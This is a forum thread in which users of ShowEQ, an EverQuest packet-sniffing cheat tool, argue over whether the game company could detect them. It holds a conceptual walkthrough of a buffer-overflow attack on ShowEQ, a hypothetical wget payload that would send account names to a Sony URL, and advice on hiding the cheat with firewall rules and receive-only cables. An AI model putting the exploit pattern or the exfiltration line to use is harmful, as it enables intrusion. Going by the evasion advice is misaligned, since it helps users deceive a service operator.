Nice FUD about showeq surrounding the recent TR incident on Stormhammer

[Madfish]

This is a post copied from Graffe's (General Discussion, "New Suspensions in VT - Legend's TR now" thread). I couldn't stop laughing at the fear, uncertainty and doubt this guy is trying to shed about showeq. To anyone without a clue, he spews enough techno babble to give them something to worry about. I guess we should actually applaud him for pushing away "joe eq player with a linux box".

Re: Player Watching
--------------------------------------------------------------------------------
Hmmm, yes, on average a packet sniffer just listens : )

But Show EQ is a packet decoder in real time, big DIFFERENCE !!!!!!!!!!!! It also has TCP/IP bound to the NIC !!

/theory on

Now, lets just say that VI for the hell of it puts a something in the payload of a random game packet that Show EQ doesn't like. Lets just say they have studied Show EQ because they where bored, and its open source nature, and figured out how to have this payload make ShoW EQ burp, doing a broad cast or the like : ) Lets just say, they have the EQ client looking for said broad cast. Lets just say, that by chance, if the EQ client see this broad cast, it notes it, and sends it to VI. Now after 20 to 30 hits of this, VI would be watching anyone from the IP address range really close.

Now, this is just by chance : )

/theory off
/snicker

But they do control the coding for Server / Client, and have access to the source code of Linux and ShoW EQ.

Zothen

ps. There is a couple of people where I work now without a job, and pending crimal charges that thought the same thing, just with a different tool. I had to disabuse them of the idea.

pps. Put Show EQ up on a smart switch (I used a Cisco Cat 2924) with Uni Directional port mirroring and a sniffer : ) I think you may be a little surpised what happens when you run EQ and Show EQ together now.

ppps. Final thought, Show EQ isn't a sniffer, its a real time decoder guys. Also note, that the ShoW EQ box does have TCP bound to the NIC card.

pppps. Its basic, DONT CHEAT !!!!!

ppppps. Never say never : ) If you want to read up on catching passive IDS / Sniffers. Check out Vuln Dev, Pen Test, and CISSP forums among a few.

[fee]

WHAT THE FUCK KINDA HAIR BRAINED BULLSHIT IS THIS!

/fact on

showeq don't(sic) transmit, end of story.

tks die la~

fee

[SlowNLazy]

I don't mean to drag up stuff that has already been down played by those MUCH more knowledgable than I'll ever be...

*but*

SEQ may not transmit.. but what about using some buffer exploit to force the NIC on the SEQ box to talk.... I know it's a long shot, but I've seen stranger things

Your thoughts?

[high_jeeves]

Umm.. that would prove that you have another machine on your network.. I have 6.. doesnt mean I run ShowEQ.

--Jeeves

[SlowNLazy]

Actually .. what we are looking for is patterns.... so if a designed packet was sent and .. all of a sudden a machine broadcasted... Hmm ... do it a few times .. Double Hmmm .... Am I after all that use SEQ? Nope... just enough players who stays on alot(ie probably in "named" guilds).. Then enough confusion and panic will further drive people away.... A stupid numbers game if ya think about it...

My point is to focus on whether a packet could be design to make the SEQ box burp on a predictable basis.... Once that is done, I can catch you....

[high_jeeves]

Ok, I think I decoded that into english, not sure if my cypher was correct tho...

You still have not proven that anyone runs ShowEQ.. just that they run another machine, or at best, another Linux box.. big deal..

--Jeeves

[SlowNLazy]

Tis is true .. Another linux box at best ... but what we are looking for is a pattern....

Everytime I send PacketX, I notice a box burping.... Any other linux box wouldn't have burped because they don't have the "required" software to react to my "special" X packet... After a few burps I start watching a little more closely... again waiting for a pattern.....

I will say it is time-consuming and one would think .. "Why bother" ... but, then again, VI has done dumber stuff just to "improve the game" for all...

The important question here is .....

*Can you make my SEQ box burp?*

Everything after that is, at best, questionable... but as we all know, VI doesn't have to fully justify anything they do...

PS ... I just noticed that I'm like at 6 posts and you have over 700 ... Like a kid arguing with his dad ;)

[high_jeeves]

The answer is quite simple (so simple, that I've said it three times already): ShowEQ doesnt transmit.

1) You can make a box respond.
2) You can make a box respond without ShowEQ.
3) ShowEQ does not transmit (as a matter of fact, it NEVER links to an outgoing socket of any kind).
4) You can make a box respond with ShowEQ.
5) You cannot, in any way, tell the difference between 2 and 4.

I dont know of a more detailed way to explain this.

--Jeeves

[bonkersbobcat]

I agree that there is no technical way for Verant to determine from the network or the EQ client that you are using SEQ.

What they could do however is send something in the packet stream that would cause a user using SEQ to do something in game that they would never to if they were not using SEQ.

They can observe player behavior that would indicate SEQ use.

Verant could find a weakness in SEQ or simply change the packet format and catch people before SEQ updated its packet structure.

For example: Verant could change the packet structure to include another flag that indicates if a MOB is visible or not. They could then spawn desirable, rare mobs (ancient cyclops in sro) with this flag set. This would not affect non-SEQ users because they wouldn't know this was happening (the EQ client would not display these.) An unsuspecting SEQ user may however see this mob spawn and make a beeline for that location. Any player (or group of players) that suddenly run for this location would be suspect.

I think this topic has been raised before, but for the paranoid (or even the careful), it is a good reminder. We should be careful not to let our in game actions be immediately and directly (obviously?) effected by information we obtain from SEQ.

[S_B_R]

Originally posted by bonkersbobcat
An unsuspecting SEQ user may however see this mob spawn and make a beeline for that location. Any player (or group of players) that suddenly run for this location would be suspect.

They don't need a "Special" mob for this. Only the Tracking classes could make a "Beeline" to any mob. And even with tracking you'll notice it's nearly impossible to make a "beeline", Not to mention trying to intercept a moving mob. That's easily done with SEQ, but try it with ingame tracking....

[high_jeeves]

Yep.. those are the only reasonable ways to catch ShowEQ users... to watch their behavior, and see if they are acting on information they could only have if they were using ShowEQ. They dont need to do anything special with the packet structure.. just watch people..

--Jeeves

[Mr. Suspicious]

to watch their behavior, and see if they are acting on information they could only have if they were using ShowEQ. They dont need to do anything special with the packet structure.. just watch people..

And with 500.000 users, the ammount of GM's and Guides they have on the servers and the "normal" workload (petitions) those GM's have to handle, I'm pretty darn sure the chance of being "spotted and watched" is nil.

[bonkersbobcat]

Originally posted by Mr. Suspicious

And with 500.000 users, the ammount of GM's and Guides they have on the servers and the "normal" workload (petitions) those GM's have to handle, I'm pretty darn sure the chance of being "spotted and watched" is nil.
Granted a manual inspection method would not be feasible. But say you take the fake mob that I was talking about, and you place it in an obscure place in a zone -- a place that normally no players would ever wander into. Then you put a server side filter that alerts at GM/guide/Verant employee whenever anyone enters this obscure area. This would be easy to automate.

Sure there is a chance that someone would randomly wander into this "hot zone", but as the number of times players get caught by this sort of filter increases, so does the statistical possibility that they are using SEQ and just didn't get there by accident. After say 10 times (or whatever your statistics people come up with) you fire an alert to your investigation team.

My gut feeling is that Verant has better places to spend their development and customer service dollars and has concluded that this sort of functionality does not have a good ROI. (SEQ users are paying customers after all.)

The point is that it would be not be very technically hard to catch people this way in a mostly automated fashion.

[high_jeeves]

That was discussed on these boards (actually, probably the really old ones) a long time ago.

As you yourself stated tho, its not worth their time. That is exactly why there is no windows version of ShowEQ. We dont want to make it worth their time..

--Jeeves

[KennySP]

One thing about the "invisible to Client -- visible to showeq" mobs is that it has to be flagged in some way so the client know's it's invisible.

Any flags the client see's can be interpreted by showeq and ignored as well.

(Yes, there are further ways around this on verant's end, but there is always a way for showeq to realize it's a fake mob.

For example, in South Ro they have an Ancient Cyclops that spawns, and they have hard coded the client to ignore any ancient cyclops spawn at 100,-100,100 location. Now that AC needs to always be stationary, and what happens if a client zones in while someone is kiting a real ancient cyclops across 100,-100,100? Now the cyclops is an invisble one.

It's not impossible, but it would also require alot of human attention.

Oh, and if you are worried about showeq sending packets out and giving away that it is on your network, just snip the transmit wires on your ethernet cable. It can then read information but be physically impossible to send information.

[Cryonic]

or bring up the interface without an IP address and an iptables script that prevents any outgoing communication on that device.

[devnul]

Sure they could, but since it would have to be there we'd notice a packet change for the invisible to client flag, and they'd catch a couple people then the SEQ community would be alerted... shortly thereafter SEQ patched, which would be much easier for SEQ to detect than for EQ to implement.

So they'd spend time and coder resources and clutter up their code base to catch maybe half a dozen seq users.. which is why they won't do it. Very bad ROI.

In any case while I understand people that have a good understanding of SEQ wanting to clear the air..

Why not let people worry? ;P

dn

[Circles]

easy way to catch people.. send a packet that causes SEQ to crash (I belive its when a mob dies before its processed does this currently?)

watch to see who logs out and back in immidiatly afterword.

[high_jeeves]

Umm... or you could just zone, or use session recovery, which is what i think most people do... I never logout when i need to restart..

--Jeeves

[quackrabbit]

Or the powers to be at SOE should fire up Google and search for "PROMISC DETECTION" and there they would find this handy little whitepaper: http://www.securityfriday.com/promiscuous_detection_01.pdf

Edit: Before I get flamed, yes I do realize that 1) there are legal issues with their client sending out malicious packets and that 2) just because there is a promiscuous NIC on your subnet doesn't mean you're running SEQ, but you might be.

...

[high_jeeves]

Yeah, basically, because of the two reasons you mentioned, they would never do this. I have 6 machines in my house, one of which does intrusion detection (among other things)... should I get banned for doing this? Basically anyone who ran EQ at an office would be insta-banned.

--Jeeves

[S_B_R]

Also if you run SEQ on your router/gateway/firewall then you don't have to run in promiscuous mode. Everyone I know that runs SEQ, runs it that way. So basically Verant would gain nothing by doing that.

[Cryonic]

Other than a lawsuit for scanning the network.

[throx]

Jeeves,

What they are proposing is the following:

i) Find a buffer overrun scenario in SEQ. This is feasibile given that there are still unexplained crashes now and then (so I believe from the threads anyhow).
ii) Use that buffer to execute arbitrary code which binds to a socket and transmits a "Hi - I run SEQ" to Verant.

This defeats your assumption that a box running SEQ would behave the same as a box not running SEQ to the buffer overrun attack and would be a definitive marker on the people running SEQ.

[high_jeeves]

Yes that is theoretically possible (although, extremely unlikely).. it would probably be more cost effective to knock on every single EQ subscribers door and check their machines then it would be to research, implement, and deploy a tool like this. Just to boot, by doing this, they would be breaking at least one federal law that I am aware of.

--Jeeves

[eggman]

Just a few quick comments,

PROMISC detection only works on the local network.

IPTABLES makes all but the observation theories moot.

SEQ uses pcap, any "burp" generated by a packet would be a bug in the pcap libraries, not SEQ.

SEQ is an awsome colaberation, thank you for all of your efforts.

Cheers,
-Eggman

[Aurelius]

Yimmy, I'm glad you buckerroos are here to explain things and keep making us other folk smarter and smarter. Lots of this stuff sounds good when having water cooler discussions with other players. ))

Thanx mucho

[Cleric]

SO after all this we still have a MOOT discussion. Please, you can see how quickly the GMs respond to legitimate petitions in the game, what in the world makes anyone think Verant is going to spend precious dollars to snoop around trying ot find the small percentage of ShowEQ users? I am sure if we could actually INTRODUCE changes in-game they would be all over us like flies on shit, but as far as passive monitoring goes?? Yeah so we get a jump on certain spawn if we use it that way.. whoopee - in most cases it still takes a lot of effort to get to the kinds of spawn where it really matters. Otherwise we just use it to go in, get what we need and then leave.. which usually means other people are free to come and camp as usual /shrug.

I always run into mobs that are not there in places like DL where they fall under the surface all the time, or occassionally in WC when the giant and griffon spawns are under ground.. it would be easy for them to just do that.. spawn something underground, and have it run around and see who runs up to it and follows it.. even though they cannot see it... they put little guys out in EW at one time that said SHowEQ users suck :) SO yeah, most likely if you are dumb (and abusive of the system) they will come and hunt you down, but much like the way the EQ works, casual ShowEQ user hunting is given about as much attention as they give to the "casual" EQ player :)

Peace

[Jonn]

Bleh. I don't normally like to post on a thread with a lot of people theorizing about what's possible and what's not possible, but I guess I'm feeling massochistic today.

Buffer overruns are a very common bug in software applications. They occur in the majority of commercial software at least once, as a matter of fact (coming from having to have many programmers, you'll always get a few inexperienced or lazy ones). What they basically are is more information than a program is expecting, causing the excess data to flow over other information in RAM that wasn't intended to hold that kind of data, eg, machine code. C++ is one of the most efficient programming languages around execution speed wise, and also one of the most versatile. It obtains those attributes because it lets you (and often requires you to) do things on a very low level, with out doing a lot of checking for things like buffer overruns that other higher level languages like Java and VB do.

Bear with me as I'm going to get a little technical. When you call a function in C++, it adds a bunch of data to the "stack." The stack is just another word for RAM when you really break it down, except that the stack specifically refers to RAM associated with a particular program, having its own virtual space (which much like a hard drive may actually be fragmented throughout physical RAM, but I digress, this isn't OS class). The information that it adds to the stack is a copy of the code for this execution of the function (yes, it makes a copy, some bizarre languages allow you to modify the runtime code of the function, so most OS's make a separate copy of the function in on the stack at that point), followed by a block of unitialized data that represents the statically defined variables for that function call (the exact amount of space to allocate is determined by the precompiler, the physical machine code essentially has this hard-coded in).

On top of that is then added in real time any dynamically allocated data, as it is needed, and then deallocated also as needed. Different OS's do this differently, I believe that in Linux, dynamic data actually starts at the end of the stack and moves toward the beginning so that you don't have as much messy data blocking to deal with.

Ok, a little less technical now.

When a C++ program receives input, it needs to put it in to a buffer. This is a statically or dynamically allocated chunk of space. You can't typically say "Just give me space, we'll figure out how big it is later," (well, you can with some libraries) that plays hell with your efficiency, so you have instead to say "Give me 587 bytes of RAM on the stack" (made a bit simpler programatically, you can use the sizeof() function so that you don't have to know figures on your own) in which you intend to store your input (in the case of ShowEQ, inbound packet data from the server that it grabs with pcap). The problem arises when you get more than your allocated data space. So say, you get 3000 bytes instead of the 587 you were expecting as the cap. Bytes 588+ are going to flow out in to space that you don't want them in (unless you were a good programmer and stopped accepting data past byte 587, which protects you from this problem, and which all programmers should do but frequently forget or are too lazy to do).

In most OS's, this is only a minor nuisance that will probably crash the program as the extra data changes values for variables than the intended one.... but ONLY when it was dynamically allocated data (which, btw, has lower performance as there are numerous memory cleanup issues to deal with). Good programmers statically allocate as much as they can, and check their buffers for overflows before accepting the data. Bad programmers statically allocated as much as they can and don't check their buffers.

Now the actual exploit here occurs when byte 588+ is actual functional code, or padding to lead to that functional code. Anyone with a debugger can quickly locate where exactly the end of the "incoming packet" data is stored, and how far it is to the end of the stack for that function. Data beyond that space is going to be the beginning of the next function call. If the excess data is actually a bunch of noop's (do nothings) to fill up the rest of the statically allocated memory for the packet data collection function, followed by function code, the sub-function will actuall execute the malicious code instead of the code the programmer was intending to execute there!

But wait! Wouldn't subsequent function calls actually re-write that stack space when they are made? Yes, they *will* rewrite that stack space, but only if they are called *AFTER* the malpacket is received. Because data in the packet is information that is likely to be useful to many functions called, rather than make a copy of all that data for each function call, instead good programmers simply pass the memory address of the original data, so that functions can access it with out tieing up excess resources. That means that this excess data may actually overwrite code that is in the process of being executed, and in fact frequently that's the case. (Those who like to write buffer overflows try to take over the return point of the next location in the stack, which is the piece of code that says "I'm done with this function, you can go back to what you were doing before you called on me")

So we've established that anyone half-way decent with a debugger can figure out how to insert malicious code in to our executing program if they can find the right kind of buffer overflow, and have access to affect data input [in this case, packets from SoE]. It sounds difficult, but if you are used to C++ debuggers, this is actually not a difficult thing to do, but C++ debuggers themselves are fairly difficult.

Because of the somewhat delicate nature of this operation, this is likely to only work on particular builds of ShowEQ. The reason being that allocation spaces and execution order will change. That adds some security to ShowEQ users, because it makes it a lot harder for SoE to release one malicious packet that catches all users. Doing so, of course, they would have programmed the client to be wise to this data and discard the overflow, or else have a large enough buffer that it's not an overflow. If they want to sweeten their chances, they can do something drastic to the packet structure that breaks all old ShowEQ versions, but being fairly easy for our developers to crack, requiring everyone to upgrade if they want to continue to use ShowEQ. That gets all active users on the same version, short of them having different processor architecture.

Their malware could easily just be a system call to "wget http://station.sony.com/everquest/seq.jsp?account=AccountName" which would scoop up most ShowEQ users as I believe wget is standard on RedHat (could be wrong, if I am, they could with only a bit more work write a program to send the request manually, unless your box is dedicated to nothing but ShowEQ, I'm guessing it's iptables allow it to connect to port 80 tcp just about anywhere, particularly SoE's site, so you can look up quest information, patch messages, etc). They might send this malicious packet once an hour to every user, and I'm guessing that within two weeks they'd get 99% of the ShowEQ users, minus people on vacation and a few paranoid but lucky people with dedicated ShowEQ-only boxen that are properly configured.

They may even program their mal-packet broadcaster to stop sending out data to confirmed users of ShowEQ so that you only ever see one crash of ShowEQ (which is almost invariably what happens when you exploit a buffer overflow, there's no way to restore the program to its original state, so usually you cause some inconsistency and dump, or just handle an exit(0) yourself).


So after that horribly long post, to those of you who don't believe that it'd be possible to buffer overflow ShowEQ, you may be right (given that it was coded securely), but given that it wasn't coded thoroughly to protect against this sort of attack (indeed, actually a very very difficult thing to do), buffer overflows are fairly simple if you know how, and with the developer pool down at SoE, I guarantee someone there can make one work.

But now the next question is whether this is something that you should fear.

Exploiting code like that to perform a buffer overflow is sketchy legally at best, and completely illegal at worst. But if you're running a program that their EULA forbids, you've given up your right to play EQ, and if you're running the program with out playing, you shouldn't be getting their packets, so there isn't a "legal" way for you to both be running ShowEQ, AND be receiving the malicious packets, which are perfectly safe to all EULA abiding citizens. The only exception is if you happened to for some reason be an EQ voyeur who enjoys watching someone else on the same LAN as you play, but you don't play yourself (such as at a college network environment, there was actually a guy at my school who did that, but he was in to snooping on everyone's network traffic for any reason)

Realalistically they could probably do this and get away with it, because who among the ShowEQ users has the resources to battle the lawyer team of Sony, even with very firm legal footing?

But at the same time, if they tried to run it past their own lawyers, they'd probably get a big "NO" because that's a lawyer's answer to anything that might not work out well.

Overall I don't think there's that much to worry about, but it's certainly not inconceivable, and not having thoroughly thoroughly gone over every square inch of the code, I can't say that it's impossible, nor could the developers, because it only takes one tiny, very hard to spot mistake to make it possible (heck, usually buffer checking is done far from the variable that holds the data, it requires you to follow the execution path closely to be sure that you have none available, or else use slow libraries that do all the buffer checking you could want).

[high_jeeves]

Excellent post Jonn, but I do have to disagree with you on a few points:

Since ShowEQ does is packet detection using pcap, the buffer overrun error would actually have to occur within pcap. Pcap provides the calling program with the size of the buffer, and the actual buffer. The data is then copied (using its size and buffer) into the showEQ memory space for use during packet decoding/decryption. Assuming that the size and buffer or provided correcty from libpcap, a buffer overrun attack coming from the EQ client/server would have to walk on the stack in pcap's memory space. While this would be possible, and they could have this report back to them, it would still not prove that a user was running ShowEQ.

In addition to ShowEQ, I run intrusion detection software, which uses pcap to passively listen to traffic. Doing this is clearly not a violation of EULA, but would be detected as me using ShowEQ, which I might not be. I think you will find that many IT managers have some sort of intrusion detection system on their network, some of which might be pcap based. So, now, if I logged in while at work at this company, I would be flagged as a ShowEQ user regardless of whether or not I was.

Granted, if the implanted code was complex enough, it could actually go looking for a running ShowEQ before reporting, but now we are CLEARLY talking about illegal use of a computer. Generally speaking though, any execution of malicious code on a machine you werent granted access to (And this would have to be considered malicious, since it transmits data) is considered illegal.


But if you're running a program that their EULA forbids, you've given up your right to play EQ, and if you're running the program with out playing, you shouldn't be getting their packets, so there isn't a "legal" way for you to both be running ShowEQ, AND be receiving the malicious packets, which are perfectly safe to all EULA abiding citizens.

There is a severe misconception here. The EULA is not law, it is an agreement between Verant, and the end user. The EULA gives them the right to kick you if you do something wrong. They cannot use this contract as an excuse to commit a crime. The best they can do is find you, and kick you out. If they do something illegal to get there, they have still commited a crime, regardless of your status with EQ.


But at the same time, if they tried to run it past their own lawyers, they'd probably get a big "NO" because that's a lawyer's answer to anything that might not work out well.

The lawyers would clearly say no to commiting the illegal act of implanting malicious code on to an un-authorized machine, and any developer who did this without permission of the legal department would probably be dismissed immediatly, if caught.

The bottom line is still simple: They wont do anything, because its not worth it to them. That is the reason this community is so small currently, and needs to remain small. If this community gets large, it becomes worth it for them to do something.

--Jeeves

[Jonn]

Originally posted by high_jeeves
Excellent post Jonn, but I do have to disagree with you on a few points:

Since ShowEQ does is packet detection using pcap, the buffer overrun error would actually have to occur within pcap. Pcap provides the calling program with the size of the buffer, and the actual buffer. The data is then copied (using its size and buffer) into the showEQ memory space for use during packet decoding/decryption. Assuming that the size and buffer or provided correcty from libpcap, a buffer overrun attack coming from the EQ client/server would have to walk on the stack in pcap's memory space. While this would be possible, and they could have this report back to them, it would still not prove that a user was running ShowEQ.

That assumes that the only place that a buffer overflow can exist is in the packet reception code. Indeed it could exist in numerous other locations, such as player names, broadcast text, or any other area that arbitrary length strings are found. I'm not saying that ShowEQ is open to these kind of attacks, because I haven't looked at the code, but assuming that there is only one point of potential overflow is a particularly dangerous assumption.


In addition to ShowEQ, I run intrusion detection software, which uses pcap to passively listen to traffic. Doing this is clearly not a violation of EULA, but would be detected as me using ShowEQ, which I might not be. I think you will find that many IT managers have some sort of intrusion detection system on their network, some of which might be pcap based. So, now, if I logged in while *SNIP*

Yep, you're right, if they were exploiting an overflow in pcap, they'd have no significant evidence of anything, no different from detecting promiscuous mode nic's.


There is a severe misconception here. The EULA is not law, it is an agreement between Verant, and the end user. The EULA gives them the right to kick you if you do something wrong. They cannot use this contract as an excuse to commit a crime. The best they can do is find you, and kick you out. If they do something illegal to get there, they have still commited a crime, regardless of your status with EQ.

You're right, and in fact, shrink wrap and click-through licences have proven to hold little real weight in court, but at the same time, each time you click Agree, you are essentially making a statement that you are abiding by the rules they lay out there, meaning that you aren't using ShowEQ unless you are lieing when committing to a contract, no matter how signficant it's legal bearing.

That's the sort of thing that lawyers will throw at jury's, "What we were doing was perfectly safe and legal as far as we could tell, because the user had confirmed that they weren't using the program." Yeah, it's BS, but it's a chink in your armor, and if I can think of this with out being a lawyer, imagine what a team of lawyers are gonna do (an organization that I worked for that was easily half the size of Sony proper, had an 80 man legal team, full time, and also consulted out legal services... you can bet you're gonna get a number of heads working on your case, which translates to money you need to invest on your side... they already have the guys on payroll, so it's not really any extra money for them).




The lawyers would clearly say no to commiting the illegal act of implanting malicious code on to an un-authorized machine, and any developer who did this without permission of the legal department would probably be dismissed immediatly, if caught.

The bottom line is still simple: They wont do anything, because its not worth it to them. That is the reason this community is so small currently, and needs to remain small. If this community gets large, it becomes worth it for them to do something.

--Jeeves

I agree with the bottom line in the end. ShowEQ users don't really get information that breaks the game. It's not worth the legal risk, and it's not worth the headache of trying to do so when it's more or less an active map with advanced tracking.

[throx]

Besides, if they really cared about ShowEQ they'd just start rotating the encryption schemes again or fix their random number generator.

[jeffo]

if you really want to be absolutely sure that your not broadcasting even so much as a peep, it's very simple to just add all of sony's class B to your ipchains deny list :)

just add these lines to your /etc/sysconfig/ipchains file

-A output -s 0/0 -d 64.37.0.0/16 -p all -i eth0 -j REJECT
-A output -s 0/0 -d 63.241.0.0/16 -p all -i eth0 -j REJECT

then # /etc/rc.d/init.d/ipchains restart

now no packets, of any protocol, will go back to either sony datacenter. there might be some more subnets, i dont know, i didnt really spend alot of time researching their network. but that blocks 2x 2^16 ip addresses, so it should cover most of the possibilities of where verant would ever scan for showEQ, should they use malicious means, which is doubtful anyway to start with... but yeah, for the truly paranoid, there you go.

if you really want to, I suppose you could also add this line-

-A output -s 0/0 -d 0/0 -p all -i eth0 -j REJECT

that would block all outgoing packets, lol :) since show eq is listen only, show eq should still work, but you wouldnt be able to use any services. http, telnet, icq, etc, or be able to update showeq without shutting down ipchains..

-Jeff

[jeffo]

Originally posted by quackrabbit
Or the powers to be at SOE should fire up Google and search for "PROMISC DETECTION" and there they would find this handy little whitepaper: http://www.securityfriday.com/promiscuous_detection_01.pdf

Edit: Before I get flamed, yes I do realize that 1) there are legal issues with their client sending out malicious packets and that 2) just because there is a promiscuous NIC on your subnet doesn't mean you're running SEQ, but you might be.

...

That's a good whitepaper on detecting promiscuous nics on a local lan, but in this application (detecting show EQ, or promiscuous nics over the internet) it is flawed. that detection method is only plausible on a local network.

the internet does not transmit ARP packets. When you leave your local network over the internet, the only thing going out is TCP .. in either ip (connection) or udp (connectionless) or ICMP, or .... i think thats it. ARP packets do not leave the local lan. saying that do is kind of like saying IPX/SPX and other network protocols work over the internet :)

the mac address in arp packets are obfuscated as soon as communication between network leaves the first router.

regardless, your point 2 stands. so consider this a point 3 :)

[quackrabbit]

That's a good whitepaper on detecting promiscuous nics on a local lan, but in this application (detecting show EQ, or promiscuous nics over the internet) it is flawed. that detection method is only plausible on a local network.

The point of my original post, Jeffo, was that SOE could have the machine that you were playing EQ on detect promisc ethernet cards on the LAN where YOU were playing EQ - not that SOE would try to detect them from THEIR datacenter over the internet. Since EQ doesn't work on Linux I would assume. for arguments sake, that you have two PC's somehow networked together.


if you really want to be absolutely sure that your not broadcasting even so much as a peep, it's very simple to just add all of sony's class B to your ipchains deny list

As another poster previously posted, they use their Linux box as their gateway - so this wouldn't work for them since they wouldn't be able to play EQ.

[LordCrush]

NIC in promiscuous mode = SEQ ???

I like seq but it is not the only packet-sniffer around... so what whould it be usefull to sony to find out that a player has a packet-sniffer running on his local network ?? - They could open a database and have a legion of people watching the players behaviour while playing.... sounds not very likely to me :)

Just my 2 CP

[quackrabbit]

Edit: nm

[photon_99]

Or if it's on a hub (which it is for most ppl) just don't give it an IP and then do "ifconfig ethx up"

If it doesn't have an IP stack bound to it then it can't be used to transmit.


Snort FAQ on this (http://www.snort.org/docs/faq.html#3.2)

[Cryonic]

Even without an IP an interface can be made to hiccup. Look just above that question and they show how to make a receive-only cable by snipping the transmit wires. Now even if the NIC hiccups it can't send a signal anywhere. Same thing with using a one-way ethernet Tap.

http://www.snort.org/docs/faq.html#3.1

[BlueAdept]

I use snort/guardian. It is an intrusion detection system (basically). It uses promiscuous mode and pcap.

So saying that anyone using promiscuous mode or using pcap is using SEQ is wrong. There are other programs that do use it.

If Verant wants to ban someone they can. It is their program and when you sign up, you agree that by doing so, they can ban you for any reason or no reason at all. They can also end the game when ever they wish. You dont own any of the virtual stuff and really you dont have any say in the matter. All they have to do is to refund your money for the unused time.